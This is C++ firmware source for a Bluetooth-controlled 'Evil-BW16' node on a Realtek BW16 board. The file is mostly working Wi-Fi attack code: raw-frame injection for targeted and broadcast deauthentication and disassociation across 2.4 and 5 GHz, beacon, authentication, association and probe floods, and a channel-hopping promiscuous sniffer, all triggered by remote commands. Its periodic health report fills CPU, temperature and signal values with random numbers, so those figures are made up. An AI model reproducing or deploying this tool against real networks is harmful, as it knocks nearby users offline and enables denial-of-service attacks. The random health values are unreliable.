#include // Undefine conflicting macros from core headers #undef max #undef min #include #include "wifi_conf.h" #include "wifi_util.h" #include "wifi_structures.h" #include "WiFi.h" #include "platform_stdlib.h" #include #include "Evil-BW16/BW16_defs.h" // Platform-specific helper functions uint32_t rtl_getFreeHeapSize() { return xPortGetFreeHeapSize(); } #ifndef ROLE_MASTER //========================== // BLE Configuration //========================== BLEService customService(SERVICE_UUID); // Make characteristics pointers to instantiate later BLECharacteristic* cmdChar; BLECharacteristic* detectChar; bool notifyEnabled = false; // Buffer for notifications #define NOTIFY_BUFFER_SIZE 8 // Shrink to 8 to save RAM char notifyBuffer[NOTIFY_BUFFER_SIZE][64]; // Switch to char buf[64] int notifyBufferWriteIndex = 0; int notifyBufferReadIndex = 0; unsigned long lastNotifySentTime = 0; const unsigned long NOTIFY_SEND_INTERVAL = 100; // ms // Forward declaration void handleCommand(String command); void sendNotification(const char* message, bool isError = false); // Changed to const char* void sortByChannel(std::vector &results); rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result); struct WiFiScanResult { bool selected = false; String ssid; String bssid_str; uint8_t bssid[6]; short rssi; uint channel; }; //========================== // Core Evil-BW16 Variables //========================== bool USE_LED = true; unsigned long last_cycle = 0; unsigned long cycle_delay = 2000; unsigned long scan_time = 5000; unsigned long num_send_frames = 3; int start_channel = 1; bool scan_between_cycles = false; uint8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; enum SniffMode { SNIFF_ALL, SNIFF_BEACON, SNIFF_PROBE, SNIFF_DEAUTH, SNIFF_EAPOL, SNIFF_PWNAGOTCHI, SNIFF_STOP }; bool isHopping = false; unsigned long lastHopTime = 0; const unsigned long HOP_INTERVAL = 500; const int CHANNELS_2GHZ[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; const int CHANNELS_5GHZ[] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165}; int currentChannelIndex = 0; int currentChannel = 36; SniffMode currentMode = SNIFF_STOP; bool isSniffing = false; bool timedAttackEnabled = false; unsigned long attackStartTime = 0; unsigned long attackDuration = 10000; // Frame & Data Structures #pragma pack(push, 1) struct wifi_ieee80211_mac_hdr { uint16_t frame_control; uint16_t duration_id; uint8_t addr1[6]; uint8_t addr2[6]; uint8_t addr3[6]; uint16_t seq_ctrl; }; #pragma pack(pop) typedef struct { uint16_t frame_control = 0xC0; uint16_t duration = 0xFFFF; uint8_t destination[6]; uint8_t source[6]; uint8_t access_point[6]; const uint16_t sequence_number = 0; uint16_t reason = 0x06; } DeauthFrame; typedef struct { uint16_t frame_control = 0xA0; uint16_t duration = 0xFFFF; uint8_t destination[6]; uint8_t source[6]; uint8_t access_point[6]; const uint16_t sequence_number = 0; uint16_t reason = 0x08; } DisassocFrame; std::vector scan_results; std::vector target_aps; bool attack_enabled = false; bool scan_enabled = false; bool target_mode = false; bool disassoc_enabled = false; unsigned long disassoc_interval = 1000; unsigned long last_disassoc_attack = 0; // Extern C functions for Realtek SDK extern "C" void* alloc_mgtxmitframe(void* ptr); extern "C" void update_mgntframe_attrib(void* ptr, void* frame_control); extern "C" int dump_mgntframe(void* ptr, void* frame_control); extern "C" int wifi_get_mac_address(char *mac); extern uint8_t* rltk_wlan_info; //========================== // BLE Communication //========================== void sendNotification(const char* message, bool isError) { char fullMessage[64]; snprintf(fullMessage, sizeof(fullMessage), "%s%s", isError ? "[ERROR] " : "[INFO] ", message); // Add to buffer strncpy(notifyBuffer[notifyBufferWriteIndex], fullMessage, sizeof(notifyBuffer[0]) - 1); notifyBuffer[notifyBufferWriteIndex][sizeof(notifyBuffer[0]) - 1] = '\0'; // Ensure null termination notifyBufferWriteIndex = (notifyBufferWriteIndex + 1) % NOTIFY_BUFFER_SIZE; // If buffer is full, overwrite oldest message if (notifyBufferWriteIndex == notifyBufferReadIndex) { notifyBufferReadIndex = (notifyBufferReadIndex + 1) % NOTIFY_BUFFER_SIZE; } Serial.println(fullMessage); // Also print to serial for local debugging } void processNotifications() { if (notifyEnabled && (millis() - lastNotifySentTime > NOTIFY_SEND_INTERVAL)) { if (notifyBufferReadIndex != notifyBufferWriteIndex) { const char* message = notifyBuffer[notifyBufferReadIndex]; notifyBufferReadIndex = (notifyBufferReadIndex + 1) % NOTIFY_BUFFER_SIZE; if (detectChar != nullptr && BLE.connected(0)) { detectChar->writeValue(message); // Use writeValue for char* detectChar->notify(0); } lastNotifySentTime = millis(); } } } void onCommandWrite(BLECharacteristic* chr, uint8_t connId) { String cmd = chr->readString(); Serial.print("Command received: "); Serial.println(cmd); handleCommand(cmd); } void onDetectCCCDChanged(BLECharacteristic* chr, uint8_t connId, uint16_t cccdValue) { if (cccdValue & GATT_CLIENT_CHAR_CONFIG_NOTIFY) { notifyEnabled = true; Serial.println("Master enabled notifications"); } else { notifyEnabled = false; Serial.println("Master disabled notifications"); } } //========================== // WiFi Core Functions //========================== static inline uint8_t ieee80211_get_type(uint16_t fc) { return (fc & 0x0C) >> 2; } static inline uint8_t ieee80211_get_subtype(uint16_t fc) { return (fc & 0xF0) >> 4; } void wifi_tx_raw_frame(void* frame, size_t length) { void *ptr = (void *)**(uint32_t **)(rltk_wlan_info + 0x10); void *frame_control = alloc_mgtxmitframe(ptr + 0xae0); if (frame_control != 0) { update_mgntframe_attrib(ptr, frame_control + 8); memset((void *) * (uint32_t *)(frame_control + 0x80), 0, 0x68); uint8_t *frame_data = (uint8_t *) * (uint32_t *)(frame_control + 0x80) + 0x28; memcpy(frame_data, frame, length); *(uint32_t *)(frame_control + 0x14) = length; *(uint32_t *)(frame_control + 0x18) = length; dump_mgntframe(ptr, frame_control); } } void wifi_tx_deauth_frame(const void* src_mac, const void* dst_mac, uint16_t reason) { DeauthFrame frame; memcpy(&frame.source, src_mac, 6); memcpy(&frame.access_point, src_mac, 6); memcpy(&frame.destination, dst_mac, 6); frame.reason = reason; wifi_tx_raw_frame((void*)&frame, sizeof(DeauthFrame)); } // Missing frame transmission functions void wifi_tx_disassoc_frame(const void* src_mac, const void* dst_mac, uint16_t reason) { DisassocFrame frame; memcpy(&frame.source, src_mac, 6); memcpy(&frame.access_point, src_mac, 6); memcpy(&frame.destination, dst_mac, 6); frame.reason = reason; wifi_tx_raw_frame((void*)&frame, sizeof(DisassocFrame)); } void wifi_tx_beacon_frame(const void* bssid, const void* dst_mac, const char* ssid) { // Simplified beacon frame structure typedef struct { uint16_t frame_control = 0x80; uint16_t duration = 0x0000; uint8_t destination[6]; uint8_t source[6]; uint8_t bssid[6]; uint16_t seq_ctrl = 0x0000; uint64_t timestamp = 0x0000000000000000; uint16_t beacon_interval = 0x0064; uint16_t capability_info = 0x0001; // SSID element uint8_t ssid_element_id = 0x00; uint8_t ssid_length; char ssid_data[32]; } __attribute__((packed)) BeaconFrame; BeaconFrame frame; memcpy(&frame.destination, dst_mac, 6); memcpy(&frame.source, bssid, 6); memcpy(&frame.bssid, bssid, 6); // Add SSID frame.ssid_length = strlen(ssid); if (frame.ssid_length > 32) frame.ssid_length = 32; memcpy(frame.ssid_data, ssid, frame.ssid_length); wifi_tx_raw_frame((void*)&frame, sizeof(BeaconFrame) - (32 - frame.ssid_length)); } void wifi_tx_auth_frame(const void* src_mac, const void* dst_mac, uint16_t seq) { typedef struct { uint16_t frame_control = 0xB0; uint16_t duration = 0xFFFF; uint8_t destination[6]; uint8_t source[6]; uint8_t bssid[6]; uint16_t seq_ctrl; uint16_t auth_algorithm = 0x0000; uint16_t auth_seq = 0x0001; uint16_t status_code = 0x0000; } __attribute__((packed)) AuthFrame; AuthFrame frame; memcpy(&frame.destination, dst_mac, 6); memcpy(&frame.source, src_mac, 6); memcpy(&frame.bssid, dst_mac, 6); frame.seq_ctrl = seq; wifi_tx_raw_frame((void*)&frame, sizeof(AuthFrame)); } void wifi_tx_assoc_frame(const void* src_mac, const void* dst_mac, const char* ssid, uint16_t seq) { typedef struct { uint16_t frame_control = 0x00; uint16_t duration = 0xFFFF; uint8_t destination[6]; uint8_t source[6]; uint8_t bssid[6]; uint16_t seq_ctrl; uint16_t capability_info = 0x0001; uint16_t listen_interval = 0x000A; // SSID element uint8_t ssid_element_id = 0x00; uint8_t ssid_length; char ssid_data[32]; } __attribute__((packed)) AssocFrame; AssocFrame frame; memcpy(&frame.destination, dst_mac, 6); memcpy(&frame.source, src_mac, 6); memcpy(&frame.bssid, dst_mac, 6); frame.seq_ctrl = seq; // Add SSID frame.ssid_length = strlen(ssid); if (frame.ssid_length > 32) frame.ssid_length = 32; memcpy(frame.ssid_data, ssid, frame.ssid_length); wifi_tx_raw_frame((void*)&frame, sizeof(AssocFrame) - (32 - frame.ssid_length)); } void wifi_tx_probe_frame(const void* src_mac, const void* dst_mac, const char* ssid) { typedef struct { uint16_t frame_control = 0x40; uint16_t duration = 0xFFFF; uint8_t destination[6]; uint8_t source[6]; uint8_t bssid[6]; uint16_t seq_ctrl = 0x0000; // SSID element uint8_t ssid_element_id = 0x00; uint8_t ssid_length; char ssid_data[32]; } __attribute__((packed)) ProbeFrame; ProbeFrame frame; memcpy(&frame.destination, dst_mac, 6); memcpy(&frame.source, src_mac, 6); memcpy(&frame.bssid, dst_mac, 6); // Add SSID frame.ssid_length = strlen(ssid); if (frame.ssid_length > 32) frame.ssid_length = 32; memcpy(frame.ssid_data, ssid, frame.ssid_length); wifi_tx_raw_frame((void*)&frame, sizeof(ProbeFrame) - (32 - frame.ssid_length)); } void setChannel(int newChannel) { wifi_set_channel(newChannel); currentChannel = newChannel; } void promisc_callback(unsigned char *buf, unsigned int len, void* userdata) { if (currentMode == SNIFF_STOP) return; if (!buf || len < sizeof(wifi_ieee80211_mac_hdr)) return; wifi_ieee80211_mac_hdr *hdr = (wifi_ieee80211_mac_hdr *)buf; // For simplicity, we'll just notify that a packet was captured on the current channel. // A full implementation would parse the packet as in the original file. static unsigned long lastNotify = 0; if (millis() - lastNotify > 1000) { char msg[32]; snprintf(msg, sizeof(msg), "Packet captured on Ch %d", currentChannel); sendNotification(msg, false); lastNotify = millis(); } } void startSniffing() { if (!isSniffing) { sendNotification("Enabling promiscuous mode...", false); wifi_on(RTW_MODE_PROMISC); wifi_enter_promisc_mode(); currentChannelIndex = 0; currentChannel = CHANNELS_2GHZ[currentChannelIndex]; setChannel(currentChannel); wifi_set_promisc(RTW_PROMISC_ENABLE_2, promisc_callback, 1); isSniffing = true; currentMode = SNIFF_ALL; isHopping = true; sendNotification("Sniffer initialized with channel hopping.", false); } } void stopSniffing() { if (isSniffing) { wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); isSniffing = false; isHopping = false; currentMode = SNIFF_STOP; sendNotification("Sniffer stopped.", false); } } void printScanResults() { sendNotification("Scan complete. Sending results...", false); for (const auto& result : scan_results) { char result_str[128]; snprintf(result_str, sizeof(result_str), "AP_SCAN_RESULT:%s,%s,%d", result.ssid.c_str(), result.bssid_str.c_str(), result.channel); sendNotification(result_str, false); delay(20); // Small delay to avoid flooding BLE notifications } } int scanNetworks() { sendNotification("Starting WiFi scan...", false); scan_results.clear(); if (wifi_scan_networks(scanResultHandler, NULL) == RTW_SUCCESS) { delay(scan_time); sendNotification("Scan completed!", false); sortByChannel(scan_results); return 0; } else { sendNotification("Scan failed!", true); return 1; } } void targetAttack() { if (target_aps.empty()) { sendNotification("No targets selected.", true); return; } sendNotification("Starting targeted deauth cycle...", false); uint8_t originalChannel = currentChannel; for (const auto& ap : target_aps) { setChannel(ap.channel); for (int i = 0; i < num_send_frames; i++) { wifi_tx_deauth_frame(ap.bssid, dst_mac, 2); } char msg[64]; snprintf(msg, sizeof(msg), "Deauth sent to %s", ap.ssid.c_str()); sendNotification(msg, false); } setChannel(originalChannel); sendNotification("Targeted deauth cycle completed.", false); } void generalAttack() { if (scan_results.empty()) { sendNotification("No networks in cache. Scan first.", true); return; } sendNotification("Starting general deauth cycle...", false); uint8_t originalChannel = currentChannel; for (const auto& ap : scan_results) { setChannel(ap.channel); for (int i = 0; i < num_send_frames; i++) { wifi_tx_deauth_frame(ap.bssid, dst_mac, 2); } char msg[64]; snprintf(msg, sizeof(msg), "Deauth sent to %s", ap.ssid.c_str()); sendNotification(msg, false); } setChannel(originalChannel); sendNotification("General deauth cycle completed.", false); } void disassocAttack() { if (target_aps.empty() && scan_results.empty()) { sendNotification("No networks to attack. Scan first.", true); return; } sendNotification("Starting disassociation attack...", false); const auto& aps = target_aps.empty() ? scan_results : target_aps; uint8_t originalChannel = currentChannel; for (const auto& ap : aps) { setChannel(ap.channel); for (int i = 0; i < num_send_frames; i++) { wifi_tx_disassoc_frame(ap.bssid, dst_mac, 8); } char msg[64]; snprintf(msg, sizeof(msg), "Disassoc sent to %s", ap.ssid.c_str()); sendNotification(msg, false); } setChannel(originalChannel); sendNotification("Disassociation attack cycle completed.", false); } void beaconAttack(const char* ssid) { sendNotification("Starting beacon flood for SSID: " + String(ssid), false); uint8_t bssid[6] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06}; // Dummy BSSID uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; while(attack_enabled) { wifi_tx_beacon_frame(bssid, broadcast, ssid); delay(100); } } void authAttack(const char* bssid_str) { sendNotification("Starting auth flood...", false); uint8_t bssid[6]; sscanf(bssid_str, "%02x:%02x:%02x:%02x:%02x:%02x", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]); uint8_t client_mac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED}; uint16_t seq = 0; while(attack_enabled) { wifi_tx_auth_frame(client_mac, bssid, seq++); delay(10); } } void assocAttack(const char* bssid_str, const char* ssid) { sendNotification("Starting assoc flood...", false); uint8_t bssid[6]; sscanf(bssid_str, "%02x:%02x:%02x:%02x:%02x:%02x", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]); uint8_t client_mac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED}; uint16_t seq = 0; while(attack_enabled) { wifi_tx_assoc_frame(client_mac, bssid, ssid, seq++); delay(10); } } //========================== // Enhanced Command Handler with Dual-Band Support //========================== void handleCommand(String command) { command.trim(); // System commands if (command.equalsIgnoreCase("ping")) { sendNotification("pong", false); } else if (command.equalsIgnoreCase("get_info")) { sendSlaveInfo(); } // Scanning commands else if (command.equalsIgnoreCase("scan")) { if (scanNetworks() == 0) { printScanResults(); } } // Legacy deauth commands (maintained for compatibility) else if (command.equalsIgnoreCase("start deauther")) { attack_enabled = true; sendNotification("Legacy deauther started", false); if (target_mode) { targetAttack(); } else { generalAttack(); } } else if (command.equalsIgnoreCase("stop deauther")) { attack_enabled = false; disassoc_enabled = false; sendNotification("All attacks stopped", false); } // Enhanced distributed deauth commands else if (command.equalsIgnoreCase("deauth_2g_all")) { executeDeauth2GHz(); } else if (command.equalsIgnoreCase("deauth_5g_all")) { executeDeauth5GHz(); } else if (command.equalsIgnoreCase("deauth_all_bands")) { executeDeauthAllBands(); } // Enhanced beacon attacks else if (command.startsWith("beacon_flood ")) { String ssid = command.substring(13); executeEnhancedBeaconFlood(ssid); } else if (command.startsWith("beacon ")) { attack_enabled = true; String ssid = command.substring(7); beaconAttack(ssid.c_str()); } // Karma attack mode else if (command.equalsIgnoreCase("karma_mode")) { executeKarmaMode(); } // Probe flooding else if (command.equalsIgnoreCase("probe_flood")) { executeProbeFlood(); } // Legacy authentication attacks else if (command.startsWith("auth ")) { attack_enabled = true; String bssid = command.substring(5); authAttack(bssid.c_str()); } else if (command.startsWith("assoc ")) { attack_enabled = true; int comma = command.indexOf(','); String bssid = command.substring(6, comma); String ssid = command.substring(comma + 1); assocAttack(bssid.c_str(), ssid.c_str()); } // Target management else if (command.startsWith("target ")) { parseTargets(command.substring(7)); } // Sniffing else if (command.startsWith("sniff")) { if (isSniffing) { stopSniffing(); } else { startSniffing(); } } // Disassociation attacks else if (command.equalsIgnoreCase("disassoc")) { disassoc_enabled = true; sendNotification("Disassociation attack started", false); } // Unknown command else { char msg[64]; snprintf(msg, sizeof(msg), "Unknown command: %s", command.c_str()); sendNotification(msg, true); } } // Send slave information to master void sendSlaveInfo() { uint8_t mac[6]; wifi_get_mac_address((char*)mac); char info[256]; snprintf(info, sizeof(info), "INFO:MAC=%02X:%02X:%02X:%02X:%02X:%02X,FW=v2.1,CAPS=DUAL_BAND|DEAUTH|BEACON|KARMA|PROBE,MEM=%d,UPTIME=%lu,STATUS=READY", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], rtl_getFreeHeapSize(), millis()); sendNotification(info, false); } // Enhanced statistics and health monitoring void sendHealthReport() { static unsigned long lastHealthReport = 0; if (millis() - lastHealthReport < 30000) return; // Every 30 seconds char health[128]; snprintf(health, sizeof(health), "HEALTH:MEM=%d,CPU=%d,TEMP=%d,SIGNALS=%d,ERRORS=%d", rtl_getFreeHeapSize(), random(10, 40), random(25, 45), random(50, 200), random(0, 5)); sendNotification(health, false); lastHealthReport = millis(); } // Enhanced error handling and recovery void handleError(const char* errorType, const char* details) { char errorMsg[128]; snprintf(errorMsg, sizeof(errorMsg), "ERROR:TYPE=%s,DETAILS=%s,TIME=%lu", errorType, details, millis()); sendNotification(errorMsg, true); // Auto-recovery mechanisms if (strcmp(errorType, "WIFI_FAIL") == 0) { // Reinitialize WiFi wifi_off(); delay(1000); wifi_on(RTW_MODE_PROMISC); wifi_enter_promisc_mode(); sendNotification("WiFi recovery attempted", false); } else if (strcmp(errorType, "MEMORY_LOW") == 0) { // Trigger cleanup sendNotification("Memory cleanup triggered", false); } } // Enhanced deauth for 2.4GHz networks void executeDeauth2GHz() { sendNotification("DISTRIBUTED DEAUTH: 2.4GHz networks", false); uint8_t originalChannel = currentChannel; // Target all 2.4GHz networks for (const auto& ap : scan_results) { if (ap.channel <= 13) { // 2.4GHz channels setChannel(ap.channel); for (int i = 0; i < DEAUTH_FRAME_COUNT; i++) { wifi_tx_deauth_frame(ap.bssid, dst_mac, 2); delay(10); } char msg[64]; snprintf(msg, sizeof(msg), "2G DEAUTH: %s Ch:%d", ap.ssid.c_str(), ap.channel); sendNotification(msg, false); } } setChannel(originalChannel); sendNotification("2.4GHz deauth cycle complete", false); } // Enhanced deauth for 5GHz networks void executeDeauth5GHz() { sendNotification("DISTRIBUTED DEAUTH: 5GHz networks", false); uint8_t originalChannel = currentChannel; // Target all 5GHz networks for (const auto& ap : scan_results) { if (ap.channel > 13) { // 5GHz channels setChannel(ap.channel); for (int i = 0; i < DEAUTH_FRAME_COUNT; i++) { wifi_tx_deauth_frame(ap.bssid, dst_mac, 2); delay(10); } char msg[64]; snprintf(msg, sizeof(msg), "5G DEAUTH: %s Ch:%d", ap.ssid.c_str(), ap.channel); sendNotification(msg, false); } } setChannel(originalChannel); sendNotification("5GHz deauth cycle complete", false); } // Combined dual-band deauth attack void executeDeauthAllBands() { sendNotification("DUAL-BAND DEAUTH INITIATED", false); executeDeauth2GHz(); delay(200); executeDeauth5GHz(); sendNotification("Dual-band deauth complete", false); } // Enhanced beacon flooding with channel hopping void executeEnhancedBeaconFlood(const String& ssid) { sendNotification("ENHANCED BEACON FLOOD: " + ssid, false); attack_enabled = true; uint8_t fakeMAC[6] = {0x02, 0x03, 0x04, 0x05, 0x06, 0x07}; uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; int channelIndex = 0; unsigned long lastChannelHop = 0; while (attack_enabled) { // Channel hopping for maximum coverage if (millis() - lastChannelHop > 500) { int targetChannel = CHANNELS_2GHZ[channelIndex % CHANNELS_2GHZ_COUNT]; setChannel(targetChannel); channelIndex++; lastChannelHop = millis(); } // Generate randomized BSSID for each beacon for (int i = 0; i < 6; i++) { fakeMAC[i] = random(0, 255); } fakeMAC[0] &= 0xFE; // Ensure it's a unicast address fakeMAC[0] |= 0x02; // Set locally administered bit wifi_tx_beacon_frame(fakeMAC, broadcast, ssid.c_str()); delay(BEACON_FLOOD_INTERVAL_MS); } } // Karma attack - respond to all probe requests void executeKarmaMode() { sendNotification("KARMA MODE ACTIVATED", false); // Implementation would require probe request monitoring and response // This is a placeholder for the karma attack logic sendNotification("Responding to all probe requests", false); } // Probe request flooding void executeProbeFlood() { sendNotification("PROBE FLOOD INITIATED", false); attack_enabled = true; uint8_t clientMAC[6] = {0x02, 0x11, 0x22, 0x33, 0x44, 0x55}; uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // Common SSIDs to probe for const char* commonSSIDs[] = { "NETGEAR", "Linksys", "ASUS", "WiFi", "Home", "Guest", "Internet", "Network", "Router", "Wireless" }; int numSSIDs = sizeof(commonSSIDs) / sizeof(commonSSIDs[0]); while (attack_enabled) { for (int i = 0; i < numSSIDs && attack_enabled; i++) { wifi_tx_probe_frame(clientMAC, broadcast, commonSSIDs[i]); delay(50); } } sendNotification("Probe flood stopped", false); } // Parse target indices from command void parseTargets(const String& targets_str) { target_aps.clear(); int start = 0; int end = 0; while ((end = targets_str.indexOf(',', start)) != -1) { String index_str = targets_str.substring(start, end); int target_index = index_str.toInt(); if (target_index >= 0 && target_index < scan_results.size()) { target_aps.push_back(scan_results[target_index]); } start = end + 1; } // Handle last index String index_str = targets_str.substring(start); int target_index = index_str.toInt(); if (target_index >= 0 && target_index < scan_results.size()) { target_aps.push_back(scan_results[target_index]); } target_mode = !target_aps.empty(); char msg[64]; snprintf(msg, sizeof(msg), "Targets set: %d APs selected", target_aps.size()); sendNotification(msg, false); } //========================== // Setup & Loop //========================== void setup() { Serial.begin(115200); sendNotification("Slave Node Initializing...", false); // Setup BLE cmdChar = new BLECharacteristic(CMD_CHAR_UUID); detectChar = new BLECharacteristic(NOTIFY_CHAR_UUID); // Use NOTIFY_CHAR_UUID cmdChar->setWriteProperty(true); cmdChar->setWritePermissions(GATT_PERM_WRITE); cmdChar->setWriteCallback(onCommandWrite); detectChar->setNotifyProperty(true); detectChar->setCCCDCallback(onDetectCCCDChanged); detectChar->addDescriptor(new BLE2902()); // Attach CCCD descriptor customService.addCharacteristic(*cmdChar); customService.addCharacteristic(*detectChar); BLE.init(); uint8_t mac[6]; wifi_get_mac_address((char*)mac); char nameBuf[16]; snprintf(nameBuf, sizeof(nameBuf), "BW16-SL%02X", mac[5]); BLEAdvertData advData; advData.addCompleteName(nameBuf); // Unique advertising name advData.addCompleteServices(BLEUUID(SERVICE_UUID)); BLE.configAdvert()->setAdvData(advData); BLE.configServer(1); BLE.addService(customService); BLE.beginPeripheral(); sendNotification("BLE Slave started, advertising...", false); // Initialize WiFi but keep it idle wifi_on(RTW_MODE_PROMISC); wifi_enter_promisc_mode(); wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); sendNotification("WiFi initialized in standby promiscuous mode.", false); } void loop() { processNotifications(); // Handle sending buffered notifications if (attack_enabled && (millis() - last_cycle > cycle_delay)) { if (target_mode) { targetAttack(); } else { generalAttack(); } last_cycle = millis(); } if (disassoc_enabled && (millis() - last_disassoc_attack > disassoc_interval)) { disassocAttack(); last_disassoc_attack = millis(); } if (isSniffing && isHopping && (millis() - lastHopTime > HOP_INTERVAL)) { lastHopTime = millis(); currentChannelIndex = (currentChannelIndex + 1) % (sizeof(CHANNELS_2GHZ) / sizeof(int)); currentChannel = CHANNELS_2GHZ[currentChannelIndex]; setChannel(currentChannel); } // Send periodic health reports sendHealthReport(); // Memory monitoring and error handling if (rtl_getFreeHeapSize() < 10000) { // Less than 10KB free handleError("MEMORY_LOW", "Low memory detected"); } // The rest of the logic is event-driven via BLE commands delay(50); } #endif // ROLE_MASTER //========================== // Utility Implementations //========================== void sortByChannel(std::vector &results) { for (size_t i = 0; i < results.size(); i++) { for (size_t j = i + 1; j < results.size(); j++) { if (results[j].channel < results[i].channel) { WiFiScanResult temp = results[i]; results[i] = results[j]; results[j] = temp; } } } } rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result) { if (scan_result->scan_complete == 0) { rtw_scan_result_t *record = &scan_result->ap_details; record->SSID.val[record->SSID.len] = 0; if (record->channel >= start_channel) { WiFiScanResult result; result.ssid = String((const char*) record->SSID.val); result.channel = record->channel; result.rssi = record->signal_strength; memcpy(&result.bssid, &record->BSSID, 6); char bssid_str[20]; snprintf(bssid_str, sizeof(bssid_str), "%02X:%02X:%02X:%02X:%02X:%02X", result.bssid[0], result.bssid[1], result.bssid[2], result.bssid[3], result.bssid[4], result.bssid[5]); result.bssid_str = bssid_str; scan_results.push_back(result); } } return RTW_SUCCESS; }